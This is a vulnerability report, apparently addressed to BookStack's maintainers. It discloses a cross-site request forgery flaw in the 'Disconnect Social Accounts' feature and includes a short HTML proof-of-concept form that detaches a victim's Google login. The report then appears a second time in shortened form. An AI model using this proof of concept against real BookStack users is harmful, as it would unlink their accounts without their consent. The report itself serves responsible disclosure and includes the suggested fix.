Hello team,
I noticed that in "Disconnect Social Accounts" parameter request is going in the HTTP GET method and did not generate CSRF token.
Steps to reproduce:-
- Login your BookStack account as https://bookstack.yoururl.com
- Now navigate to the "Edit profile" or go to the https://bookstack.yoururl.com/user/{id}
- Then click on https://bookstack.yoururl.com/login/service/google/detach or save the following code as csrf.html and sent it to ther another user.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://bookstack.yoururl.com/login/service/google/detach">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
- As you can see Social Accounts i.e google has been disconnected.
Impact: By sending a link it is possible to disconnect the user's Social Accounts.
Mitigation: Request should be sent in POST or should be generated CSRF token.
If you need information please let me know.
Best regards,
Bishal
Hello team,
I noticed that in "Disconnect Social Accounts" parameter request is going in the HTTP GET method and did not generate CSRF token.
Steps to reproduce:-
Impact: By sending a link it is possible to disconnect the user's Social Accounts.
Mitigation: Request should be sent in POST or should be generated CSRF token.
If you need information please let me know.
Best regards,
Bishal